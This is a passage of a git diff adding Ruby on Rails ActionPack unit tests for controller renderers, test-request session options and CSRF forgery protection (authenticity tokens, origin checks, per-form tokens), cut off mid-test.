+    content  = renderer.render template: "test/render_file_with_ivar",
+                               assigns: { secret: "foo" }
+
+    assert_equal "The secret is foo\n", content
+  end
+
+  test "rendering with custom env" do
+    renderer = ApplicationController.renderer.new method: "post"
+    content  = renderer.render inline: "<%= request.post? %>"
+
+    assert_equal "true", content
+  end
+
+  test "rendering with custom env using a key that is not in RACK_KEY_TRANSLATION" do
+    value    = "warden is here"
+    renderer = ApplicationController.renderer.new warden: value
+    content  = renderer.render inline: "<%= request.env['warden'] %>"
+
+    assert_equal value, content
+  end
+
+  test "rendering with defaults" do
+    renderer = ApplicationController.renderer.new https: true
+    content = renderer.render inline: "<%= request.ssl? %>"
+
+    assert_equal "true", content
+  end
+
+  test "same defaults from the same controller" do
+    renderer_defaults = ->(controller) { controller.renderer.defaults }
+
+    assert_equal renderer_defaults[AccountsController], renderer_defaults[AccountsController]
+    assert_equal renderer_defaults[AccountsController], renderer_defaults[CommentsController]
+  end
+
+  test "rendering with different formats" do
+    html = "Hello world!"
+    xml  = "<p>Hello world!</p>\n"
+
+    assert_equal html, render["respond_to/using_defaults"]
+    assert_equal xml,  render["respond_to/using_defaults.xml.builder"]
+    assert_equal xml,  render["respond_to/using_defaults", formats: :xml]
+  end
+
+  test "rendering with helpers" do
+    assert_equal "<p>1\n<br />2</p>", render[inline: '<%= simple_format "1\n2" %>']
+  end
+
+  test "rendering with user specified defaults" do
+    ApplicationController.renderer.defaults.merge!(hello: "hello", https: true)
+    renderer = ApplicationController.renderer.new
+    content = renderer.render inline: "<%= request.ssl? %>"
+
+    assert_equal "true", content
+  end
+
+  test "return valid asset url with defaults" do
+    renderer = ApplicationController.renderer
+    content  = renderer.render inline: "<%= asset_url 'asset.jpg' %>"
+
+    assert_equal "http://example.org/asset.jpg", content
+  end
+
+  test "return valid asset url when https is true" do
+    renderer = ApplicationController.renderer.new https: true
+    content  = renderer.render inline: "<%= asset_url 'asset.jpg' %>"
+
+    assert_equal "https://example.org/asset.jpg", content
+  end
+
+  private
+    def render
+      @render ||= ApplicationController.renderer.method(:render)
+    end
+end
diff --git a/actionpack/test/controller/renderers_test.rb b/actionpack/test/controller/renderers_test.rb
new file mode 100644
index 0000000000..d92de6f5d5
--- /dev/null
+++ b/actionpack/test/controller/renderers_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "controller/fake_models"
+require "active_support/logger"
+
+class RenderersTest < ActionController::TestCase
+  class XmlRenderable
+    def to_xml(options)
+      options[:root] ||= "i-am-xml"
+      "<#{options[:root]}/>"
+    end
+  end
+  class JsonRenderable
+    def as_json(options = {})
+      hash = { a: :b, c: :d, e: :f }
+      hash.except!(*options[:except]) if options[:except]
+      hash
+    end
+
+    def to_json(options = {})
+      super except: [:c, :e]
+    end
+  end
+  class CsvRenderable
+    def to_csv
+      "c,s,v"
+    end
+  end
+  class TestController < ActionController::Base
+    def render_simon_says
+      render simon: "foo"
+    end
+
+    def respond_to_mime
+      respond_to do |type|
+        type.json do
+          render json: JsonRenderable.new
+        end
+        type.js   { render json: "JS", callback: "alert" }
+        type.csv  { render csv: CsvRenderable.new    }
+        type.xml  { render xml: XmlRenderable.new     }
+        type.html { render body: "HTML"    }
+        type.rss  { render body: "RSS"     }
+        type.all  { render body: "Nothing" }
+        type.any(:js, :xml) { render body: "Either JS or XML" }
+      end
+    end
+  end
+
+  tests TestController
+
+  def setup
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    super
+    @controller.logger = ActiveSupport::Logger.new(nil)
+  end
+
+  def test_using_custom_render_option
+    ActionController.add_renderer :simon do |says, options|
+      self.content_type  = Mime[:text]
+      self.response_body = "Simon says: #{says}"
+    end
+
+    get :render_simon_says
+    assert_equal "Simon says: foo", @response.body
+  ensure
+    ActionController.remove_renderer :simon
+  end
+
+  def test_raises_missing_template_no_renderer
+    assert_raise ActionView::MissingTemplate do
+      get :respond_to_mime, format: "csv"
+    end
+    assert_equal Mime[:csv], @response.content_type
+    assert_equal "", @response.body
+  end
+
+  def test_adding_csv_rendering_via_renderers_add
+    ActionController::Renderers.add :csv do |value, options|
+      send_data value.to_csv, type: Mime[:csv]
+    end
+    @request.accept = "text/csv"
+    get :respond_to_mime, format: "csv"
+    assert_equal Mime[:csv], @response.content_type
+    assert_equal "c,s,v", @response.body
+  ensure
+    ActionController::Renderers.remove :csv
+  end
+end
diff --git a/actionpack/test/controller/request/test_request_test.rb b/actionpack/test/controller/request/test_request_test.rb
new file mode 100644
index 0000000000..b8d86696de
--- /dev/null
+++ b/actionpack/test/controller/request/test_request_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "stringio"
+
+class ActionController::TestRequestTest < ActionController::TestCase
+  def test_test_request_has_session_options_initialized
+    assert @request.session_options
+  end
+
+  def test_mutating_session_options_does_not_affect_default_options
+    @request.session_options[:myparam] = 123
+    assert_nil ActionController::TestSession::DEFAULT_OPTIONS[:myparam]
+  end
+
+  def test_content_length_has_bytes_count_value
+    non_ascii_parameters = { data: { content: "Latin + Кириллица" } }
+    @request.set_header "REQUEST_METHOD", "POST"
+    @request.set_header "CONTENT_TYPE", "application/json"
+    @request.assign_parameters(@routes, "test", "create", non_ascii_parameters,
+                               "/test", [:data, :controller, :action])
+    assert_equal(StringIO.new(non_ascii_parameters.to_json).length.to_s,
+                 @request.get_header("CONTENT_LENGTH"))
+  end
+
+  ActionDispatch::Session::AbstractStore::DEFAULT_OPTIONS.each_pair do |key, value|
+    test "rack default session options #{key} exists in session options and is default" do
+      if value.nil?
+        assert_nil(@request.session_options[key],
+                   "Missing rack session default option #{key} in request.session_options")
+      else
+        assert_equal(value, @request.session_options[key],
+                     "Missing rack session default option #{key} in request.session_options")
+      end
+    end
+
+    test "rack default session options #{key} exists in session options" do
+      assert(@request.session_options.has_key?(key),
+                   "Missing rack session option #{key} in request.session_options")
+    end
+  end
+end
diff --git a/actionpack/test/controller/request_forgery_protection_test.rb b/actionpack/test/controller/request_forgery_protection_test.rb
new file mode 100644
index 0000000000..12ae95d602
--- /dev/null
+++ b/actionpack/test/controller/request_forgery_protection_test.rb
@@ -0,0 +1,998 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/log_subscriber/test_helper"
+
+# common controller actions
+module RequestForgeryProtectionActions
+  def index
+    render inline: "<%= form_tag('/') {} %>"
+  end
+
+  def show_button
+    render inline: "<%= button_to('New', '/') %>"
+  end
+
+  def unsafe
+    render plain: "pwn"
+  end
+
+  def meta
+    render inline: "<%= csrf_meta_tags %>"
+  end
+
+  def form_for_remote
+    render inline: "<%= form_for(:some_resource, :remote => true ) {} %>"
+  end
+
+  def form_for_remote_with_token
+    render inline: "<%= form_for(:some_resource, :remote => true, :authenticity_token => true ) {} %>"
+  end
+
+  def form_for_with_token
+    render inline: "<%= form_for(:some_resource, :authenticity_token => true ) {} %>"
+  end
+
+  def form_for_remote_with_external_token
+    render inline: "<%= form_for(:some_resource, :remote => true, :authenticity_token => 'external_token') {} %>"
+  end
+
+  def form_with_remote
+    render inline: "<%= form_with(scope: :some_resource) {} %>"
+  end
+
+  def form_with_remote_with_token
+    render inline: "<%= form_with(scope: :some_resource, authenticity_token: true) {} %>"
+  end
+
+  def form_with_local_with_token
+    render inline: "<%= form_with(scope: :some_resource, local: true, authenticity_token: true) {} %>"
+  end
+
+  def form_with_remote_with_external_token
+    render inline: "<%= form_with(scope: :some_resource, authenticity_token: 'external_token') {} %>"
+  end
+
+  def same_origin_js
+    render js: "foo();"
+  end
+
+  def negotiate_same_origin
+    respond_to do |format|
+      format.js { same_origin_js }
+    end
+  end
+
+  def cross_origin_js
+    same_origin_js
+  end
+
+  def negotiate_cross_origin
+    negotiate_same_origin
+  end
+end
+
+# sample controllers
+class RequestForgeryProtectionControllerUsingResetSession < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery only: %w(index meta same_origin_js negotiate_same_origin), with: :reset_session
+end
+
+class RequestForgeryProtectionControllerUsingException < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery only: %w(index meta same_origin_js negotiate_same_origin), with: :exception
+end
+
+class RequestForgeryProtectionControllerUsingNullSession < ActionController::Base
+  protect_from_forgery with: :null_session
+
+  def signed
+    cookies.signed[:foo] = "bar"
+    head :ok
+  end
+
+  def encrypted
+    cookies.encrypted[:foo] = "bar"
+    head :ok
+  end
+
+  def try_to_reset_session
+    reset_session
+    head :ok
+  end
+end
+
+class PrependProtectForgeryBaseController < ActionController::Base
+  before_action :custom_action
+  attr_accessor :called_callbacks
+
+  def index
+    render inline: "OK"
+  end
+
+  private
+
+    def add_called_callback(name)
+      @called_callbacks ||= []
+      @called_callbacks << name
+    end
+
+    def custom_action
+      add_called_callback("custom_action")
+    end
+
+    def verify_authenticity_token
+      add_called_callback("verify_authenticity_token")
+    end
+end
+
+class FreeCookieController < RequestForgeryProtectionControllerUsingResetSession
+  self.allow_forgery_protection = false
+
+  def index
+    render inline: "<%= form_tag('/') {} %>"
+  end
+
+  def show_button
+    render inline: "<%= button_to('New', '/') %>"
+  end
+end
+
+class CustomAuthenticityParamController < RequestForgeryProtectionControllerUsingResetSession
+  def form_authenticity_param
+    "foobar"
+  end
+end
+
+class PerFormTokensController < ActionController::Base
+  protect_from_forgery with: :exception
+  self.per_form_csrf_tokens = true
+
+  def index
+    render inline: "<%= form_tag (params[:form_path] || '/per_form_tokens/post_one'), method: params[:form_method] %>"
+  end
+
+  def button_to
+    render inline: "<%= button_to 'Button', (params[:form_path] || '/per_form_tokens/post_one'), method: params[:form_method] %>"
+  end
+
+  def post_one
+    render plain: ""
+  end
+
+  def post_two
+    render plain: ""
+  end
+end
+
+class SkipProtectionController < ActionController::Base
+  include RequestForgeryProtectionActions
+  protect_from_forgery with: :exception
+  skip_forgery_protection if: :skip_requested
+  attr_accessor :skip_requested
+end
+
+# common test methods
+module RequestForgeryProtectionTests
+  def setup
+    @token = Base64.strict_encode64("railstestrailstestrailstestrails")
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+  end
+
+  def test_should_render_form_with_token_tag
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :index
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_button_to_with_token_tag
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :show_button
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_without_token_tag_if_remote
+    assert_not_blocked do
+      get :form_for_remote
+    end
+    assert_no_match(/authenticity_token/, response.body)
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_embedding_token_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+      assert_not_blocked do
+        get :form_for_remote
+      end
+      assert_match(/authenticity_token/, response.body)
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_external_authenticity_token_requested_and_embedding_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+      assert_not_blocked do
+        get :form_for_remote_with_external_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", "external_token"
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_external_authenticity_token_requested
+    assert_not_blocked do
+      get :form_for_remote_with_external_token
+    end
+    assert_select "form>input[name=?][value=?]", "custom_authenticity_token", "external_token"
+  end
+
+  def test_should_render_form_with_token_tag_if_remote_and_authenticity_token_requested
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :form_for_remote_with_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_with_token_tag_with_authenticity_token_requested
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :form_for_with_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote
+    assert_not_blocked do
+      get :form_with_remote
+    end
+    assert_match(/authenticity_token/, response.body)
+  end
+
+  def test_should_render_form_with_without_token_tag_if_remote_and_embedding_token_is_off
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = false
+      assert_not_blocked do
+        get :form_with_remote
+      end
+      assert_no_match(/authenticity_token/, response.body)
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_external_authenticity_token_requested_and_embedding_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+      assert_not_blocked do
+        get :form_with_remote_with_external_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", "external_token"
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_external_authenticity_token_requested
+    assert_not_blocked do
+      get :form_with_remote_with_external_token
+    end
+    assert_select "form>input[name=?][value=?]", "custom_authenticity_token", "external_token"
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_authenticity_token_requested
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :form_with_remote_with_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_with_authenticity_token_requested
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked do
+        get :form_with_local_with_token
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    end
+  end
+
+  def test_should_render_form_with_with_token_tag_if_remote_and_embedding_token_is_on
+    original = ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms
+    begin
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = true
+
+      @controller.stub :form_authenticity_token, @token do
+        assert_not_blocked do
+          get :form_with_remote
+        end
+      end
+      assert_select "form>input[name=?][value=?]", "custom_authenticity_token", @token
+    ensure
+      ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms = original
+    end
+  end
+
+  def test_should_allow_get
+    assert_not_blocked { get :index }
+  end
+
+  def test_should_allow_head
+    assert_not_blocked { head :index }
+  end
+
+  def test_should_allow_post_without_token_on_unsafe_action
+    assert_not_blocked { post :unsafe }
+  end
+
+  def test_should_not_allow_post_without_token
+    assert_blocked { post :index }
+  end
+
+  def test_should_not_allow_post_without_token_irrespective_of_format
+    assert_blocked { post :index, format: "xml" }
+  end
+
+  def test_should_not_allow_patch_without_token
+    assert_blocked { patch :index }
+  end
+
+  def test_should_not_allow_put_without_token
+    assert_blocked { put :index }
+  end
+
+  def test_should_not_allow_delete_without_token
+    assert_blocked { delete :index }
+  end
+
+  def test_should_not_allow_xhr_post_without_token
+    assert_blocked { post :index, xhr: true }
+  end
+
+  def test_should_allow_post_with_token
+    session[:_csrf_token] = @token
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { post :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_patch_with_token
+    session[:_csrf_token] = @token
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { patch :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_put_with_token
+    session[:_csrf_token] = @token
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { put :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_delete_with_token
+    session[:_csrf_token] = @token
+    @controller.stub :form_authenticity_token, @token do
+      assert_not_blocked { delete :index, params: { custom_authenticity_token: @token } }
+    end
+  end
+
+  def test_should_allow_post_with_token_in_header
+    session[:_csrf_token] = @token
+    @request.env["HTTP_X_CSRF_TOKEN"] = @token
+    assert_not_blocked { post :index }
+  end
+
+  def test_should_allow_delete_with_token_in_header
+    session[:_csrf_token] = @token
+    @request.env["HTTP_X_CSRF_TOKEN"] = @token
+    assert_not_blocked { delete :index }
+  end
+
+  def test_should_allow_patch_with_token_in_header
+    session[:_csrf_token] = @token
+    @request.env["HTTP_X_CSRF_TOKEN"] = @token
+    assert_not_blocked { patch :index }
+  end
+
+  def test_should_allow_put_with_token_in_header
+    session[:_csrf_token] = @token
+    @request.env["HTTP_X_CSRF_TOKEN"] = @token
+    assert_not_blocked { put :index }
+  end
+
+  def test_should_allow_post_with_origin_checking_and_correct_origin
+    forgery_protection_origin_check do
+      session[:_csrf_token] = @token
+      @controller.stub :form_authenticity_token, @token do
+        assert_not_blocked do
+          @request.set_header "HTTP_ORIGIN", "http://test.host"
+          post :index, params: { custom_authenticity_token: @token }
+        end
+      end
+    end
+  end
+
+  def test_should_allow_post_with_origin_checking_and_no_origin
+    forgery_protection_origin_check do
+      session[:_csrf_token] = @token
+      @controller.stub :form_authenticity_token, @token do
+        assert_not_blocked do
+          post :index, params: { custom_authenticity_token: @token }
+        end
+      end
+    end
+  end
+
+  def test_should_block_post_with_origin_checking_and_wrong_origin
+    old_logger = ActionController::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    ActionController::Base.logger = logger
+
+    forgery_protection_origin_check do
+      session[:_csrf_token] = @token
+      @controller.stub :form_authenticity_token, @token do
+        assert_blocked do
+          @request.set_header "HTTP_ORIGIN", "http://bad.host"
+          post :index, params: { custom_authenticity_token: @token }
+        end
+      end
+    end
+
+    assert_match(
+      "HTTP Origin header (http://bad.host) didn't match request.base_url (http://test.host)",
+      logger.logged(:warn).last
+    )
+  ensure
+    ActionController::Base.logger = old_logger
+  end
+
+  def test_should_warn_on_missing_csrf_token
+    old_logger = ActionController::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    ActionController::Base.logger = logger
+
+    begin
+      assert_blocked { post :index }
+
+      assert_equal 1, logger.logged(:warn).size
+      assert_match(/CSRF token authenticity/, logger.logged(:warn).last)
+    ensure
+      ActionController::Base.logger = old_logger
+    end
+  end
+
+  def test_should_not_warn_if_csrf_logging_disabled
+    old_logger = ActionController::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    ActionController::Base.logger = logger
+    ActionController::Base.log_warning_on_csrf_failure = false
+
+    begin
+      assert_blocked { post :index }
+
+      assert_equal 0, logger.logged(:warn).size
+    ensure
+      ActionController::Base.logger = old_logger
+      ActionController::Base.log_warning_on_csrf_failure = true
+    end
+  end
+
+  def test_should_only_allow_same_origin_js_get_with_xhr_header
+    assert_cross_origin_blocked { get :same_origin_js }
+    assert_cross_origin_blocked { get :same_origin_js, format: "js" }
+    assert_cross_origin_blocked do
+      @request.accept = "text/javascript"
+      get :negotiate_same_origin
+    end
+
+    assert_cross_origin_not_blocked { get :same_origin_js, xhr: true }
+    assert_cross_origin_not_blocked { get :same_origin_js, xhr: true, format: "js" }
+    assert_cross_origin_not_blocked do
+      @request.accept = "text/javascript"
+      get :negotiate_same_origin, xhr: true
+    end
+  end
+
+  def test_should_warn_on_not_same_origin_js
+    old_logger = ActionController::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    ActionController::Base.logger = logger
+
+    begin
+      assert_cross_origin_blocked { get :same_origin_js }
+
+      assert_equal 1, logger.logged(:warn).size
+      assert_match(/<script> tag on another site requested protected JavaScript/, logger.logged(:warn).last)
+    ensure
+      ActionController::Base.logger = old_logger
+    end
+  end
+
+  def test_should_not_warn_if_csrf_logging_disabled_and_not_same_origin_js
+    old_logger = ActionController::Base.logger
+    logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    ActionController::Base.logger = logger
+    ActionController::Base.log_warning_on_csrf_failure = false
+
+    begin
+      assert_cross_origin_blocked { get :same_origin_js }
+
+      assert_equal 0, logger.logged(:warn).size
+    ensure
+      ActionController::Base.logger = old_logger
+      ActionController::Base.log_warning_on_csrf_failure = true
+    end
+  end
+
+  # Allow non-GET requests since GET is all a remote <script> tag can muster.
+  def test_should_allow_non_get_js_without_xhr_header
+    session[:_csrf_token] = @token
+    assert_cross_origin_not_blocked { post :same_origin_js, params: { custom_authenticity_token: @token } }
+    assert_cross_origin_not_blocked { post :same_origin_js, params: { format: "js", custom_authenticity_token: @token } }
+    assert_cross_origin_not_blocked do
+      @request.accept = "text/javascript"
+      post :negotiate_same_origin, params: { custom_authenticity_token: @token }
+    end
+  end
+
+  def test_should_only_allow_cross_origin_js_get_without_xhr_header_if_protection_disabled
+    assert_cross_origin_not_blocked { get :cross_origin_js }
+    assert_cross_origin_not_blocked { get :cross_origin_js, format: "js" }
+    assert_cross_origin_not_blocked do
+      @request.accept = "text/javascript"
+      get :negotiate_cross_origin
+    end
+
+    assert_cross_origin_not_blocked { get :cross_origin_js, xhr: true }
+    assert_cross_origin_not_blocked { get :cross_origin_js, xhr: true, format: "js" }
+    assert_cross_origin_not_blocked do
+      @request.accept = "text/javascript"
+      get :negotiate_cross_origin, xhr: true
+    end
+  end
+
+  def test_should_not_raise_error_if_token_is_not_a_string
+    assert_blocked do
+      patch :index, params: { custom_authenticity_token: { foo: "bar" } }
+    end
+  end
+
+  def assert_blocked
+    session[:something_like_user_id] = 1
+    yield
+    assert_nil session[:something_like_user_id], "session values are still present"
+    assert_response :success
+  end
+
+  def assert_not_blocked
+    assert_nothing_raised { yield }
+    assert_response :success
+  end
+
+  def assert_cross_origin_blocked
+    assert_raises(ActionController::InvalidCrossOriginRequest) do
+      yield
+    end
+  end
+
+  def assert_cross_origin_not_blocked
+    assert_not_blocked { yield }
+  end
+
+  def forgery_protection_origin_check
+    old_setting = ActionController::Base.forgery_protection_origin_check
+    ActionController::Base.forgery_protection_origin_check = true
+    begin
+      yield
+    ensure
+      ActionController::Base.forgery_protection_origin_check = old_setting
+    end
+  end
+end
+
+# OK let's get our test on
+
+class RequestForgeryProtectionControllerUsingResetSessionTest < ActionController::TestCase
+  include RequestForgeryProtectionTests
+
+  test "should emit a csrf-param meta tag and a csrf-token meta tag" do
+    @controller.stub :form_authenticity_token, @token + "<=?" do
+      get :meta
+      assert_select "meta[name=?][content=?]", "csrf-param", "custom_authenticity_token"
+      assert_select "meta[name=?]", "csrf-token"
+      regexp = "#{@token}&lt;=\?"
+      assert_match(/#{regexp}/, @response.body)
+    end
+  end
+end
+
+class RequestForgeryProtectionControllerUsingNullSessionTest < ActionController::TestCase
+  class NullSessionDummyKeyGenerator
+    def generate_key(secret)
+      "03312270731a2ed0d11ed091c2338a06"
+    end
+  end
+
+  def setup
+    @request.env[ActionDispatch::Cookies::GENERATOR_KEY] = NullSessionDummyKeyGenerator.new
+  end
+
+  test "should allow to set signed cookies" do
+    post :signed
+    assert_response :ok
+  end
+
+  test "should allow to set encrypted cookies" do
+    post :encrypted
+    assert_response :ok
+  end
+
+  test "should allow reset_session" do
+    post :try_to_reset_session
+    assert_response :ok
+  end
+end
+
+class RequestForgeryProtectionControllerUsingExceptionTest < ActionController::TestCase
+  include RequestForgeryProtectionTests
+  def assert_blocked
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      yield
+    end
+  end
+end
+
+class PrependProtectForgeryBaseControllerTest < ActionController::TestCase
+  PrependTrueController = Class.new(PrependProtectForgeryBaseController) do
+    protect_from_forgery prepend: true
+  end
+
+  PrependFalseController = Class.new(PrependProtectForgeryBaseController) do
+    protect_from_forgery prepend: false
+  end
+
+  PrependDefaultController = Class.new(PrependProtectForgeryBaseController) do
+    protect_from_forgery
+  end
+
+  def test_verify_authenticity_token_is_prepended
+    @controller = PrependTrueController.new
+    get :index
+    expected_callback_order = ["verify_authenticity_token", "custom_action"]
+    assert_equal(expected_callback_order, @controller.called_callbacks)
+  end
+
+  def test_verify_authenticity_token_is_not_prepended
+    @controller = PrependFalseController.new
+    get :index
+    expected_callback_order = ["custom_action", "verify_authenticity_token"]
+    assert_equal(expected_callback_order, @controller.called_callbacks)
+  end
+
+  def test_verify_authenticity_token_is_not_prepended_by_default
+    @controller = PrependDefaultController.new
+    get :index
+    expected_callback_order = ["custom_action", "verify_authenticity_token"]
+    assert_equal(expected_callback_order, @controller.called_callbacks)
+  end
+end
+
+class FreeCookieControllerTest < ActionController::TestCase
+  def setup
+    @controller = FreeCookieController.new
+    @token      = "cf50faa3fe97702ca1ae"
+    super
+  end
+
+  def test_should_not_render_form_with_token_tag
+    SecureRandom.stub :base64, @token do
+      get :index
+      assert_select "form>div>input[name=?][value=?]", "authenticity_token", @token, false
+    end
+  end
+
+  def test_should_not_render_button_to_with_token_tag
+    SecureRandom.stub :base64, @token do
+      get :show_button
+      assert_select "form>div>input[name=?][value=?]", "authenticity_token", @token, false
+    end
+  end
+
+  def test_should_allow_all_methods_without_token
+    SecureRandom.stub :base64, @token do
+      [:post, :patch, :put, :delete].each do |method|
+        assert_nothing_raised { send(method, :index) }
+      end
+    end
+  end
+
+  test "should not emit a csrf-token meta tag" do
+    SecureRandom.stub :base64, @token do
+      get :meta
+      assert @response.body.blank?
+    end
+  end
+end
+
+class CustomAuthenticityParamControllerTest < ActionController::TestCase
+  def setup
+    super
+    @old_logger = ActionController::Base.logger
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @token = Base64.strict_encode64(SecureRandom.random_bytes(32))
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = @token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+    super
+  end
+
+  def test_should_not_warn_if_form_authenticity_param_matches_form_authenticity_token
+    ActionController::Base.logger = @logger
+    begin
+      @controller.stub :valid_authenticity_token?, :true do
+        post :index, params: { custom_token_name: "foobar" }
+        assert_equal 0, @logger.logged(:warn).size
+      end
+    ensure
+      ActionController::Base.logger = @old_logger
+    end
+  end
+
+  def test_should_warn_if_form_authenticity_param_does_not_match_form_authenticity_token
+    ActionController::Base.logger = @logger
+
+    begin
+      post :index, params: { custom_token_name: "bazqux" }
+      assert_equal 1, @logger.logged(:warn).size
+    ensure
+      ActionController::Base.logger = @old_logger
+    end
+  end
+end
+
+class PerFormTokensControllerTest < ActionController::TestCase
+  def setup
+    @old_request_forgery_protection_token = ActionController::Base.request_forgery_protection_token
+    ActionController::Base.request_forgery_protection_token = :custom_authenticity_token
+  end
+
+  def teardown
+    ActionController::Base.request_forgery_protection_token = @old_request_forgery_protection_token
+  end
+
+  def test_per_form_token_is_same_size_as_global_token
+    get :index
+    expected = ActionController::RequestForgeryProtection::AUTHENTICITY_TOKEN_LENGTH
+    actual = @controller.send(:per_form_csrf_token, session, "/path", "post").size
+    assert_equal expected, actual
+  end
+
+  def test_accepts_token_for_correct_path_and_method
+    get :index
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+    assert_response :success
+  end
+
+  def test_rejects_token_for_incorrect_path
+    get :index
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_two"
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      post :post_two, params: { custom_authenticity_token: form_token }
+    end
+  end
+
+  def test_rejects_token_for_incorrect_method
+    get :index
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      patch :post_one, params: { custom_authenticity_token: form_token }
+    end
+  end
+
+  def test_rejects_token_for_incorrect_method_button_to
+    get :button_to, params: { form_method: "delete" }
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token, "delete"
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_raises(ActionController::InvalidAuthenticityToken) do
+      patch :post_one, params: { custom_authenticity_token: form_token }
+    end
+  end
+
+  test "Accepts proper token for implicit post method on button_to tag" do
+    get :button_to
+
+    form_token = assert_presence_and_fetch_form_csrf_token
+
+    assert_matches_session_token_on_server form_token, "post"
+
+    # This is required because PATH_INFO isn't reset between requests.
+    @request.env["PATH_INFO"] = "/per_form_tokens/post_one"
+    assert_nothing_raised do
+      post :post_one, params: { custom_authenticity_token: form_token }
+    end
+  end
+
+  %w{delete post patch}.each do |verb|
+    test "Accepts proper token for #{verb} method on button_to tag" do
+      get :button_to, params: { form_method: verb }
+
+      form_token = assert_presence_and_fetch_form_csrf_token
+
+      assert_matches_session_token_on_server form_token, verb
+
+      # This is required because PATH_INFO isn't reset between requests.
